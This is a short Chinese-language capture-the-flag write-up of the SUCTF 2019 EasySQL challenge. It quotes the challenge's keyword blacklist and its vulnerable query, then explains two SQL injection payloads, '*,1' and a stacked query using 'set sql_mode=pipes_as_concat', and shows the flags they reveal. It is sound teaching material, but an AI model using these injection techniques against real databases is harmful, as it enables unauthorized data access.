[SUCTF 2019]EasySQL（set sql_mode=pipes_as_concat修改||）

都被过滤，查看公开的源码
黑名单 ：
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
查询语句：
select $_GET['query'] || flag from flag
两种方法
都是神乎其神的网友大佬想到的
1、由于没有过滤*所以可以直接构造payload
payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag
先查找全部 [0] => flag{fd583590-4eef-4964-8fe5-ecd4ad6411e5}，然后在查找1 [1] => 1
得到结果
Array ( [0] => flag{fd583590-4eef-4964-8fe5-ecd4ad6411e5} [1] => 1 )

2、查询语句select $_GET['query'] || flag from flag中的|作用为‘或’，所以可以使用set sql_mode=pipes_as_concat 将|设置为‘和’。

pipes_as_concat：将导致 “||” 字符串被视为一个标准的 SQL 字符串合并操作符，而不是 “OR” 操作符的一个同义词。

payload: 1;set sql_mode=pipes_as_concat;select 1
拼接后的语句为：1;set sql_mode=pipes_as_concat;select 1||flag from Flag
先查找1:Array ( [0] => 1 )；设置|的作用，由‘或’设置为‘和’；
再查询1,此时由于|为和查询，所以select 1 || flag from flag,1和flag都会被查询：Array ( [0] => 1flag{720b70f2-99eb-4bc1-a565-c8509799edee} )。
得到结果
Array ( [0] => 1 ) Array ( [0] => 1flag{720b70f2-99eb-4bc1-a565-c8509799edee} )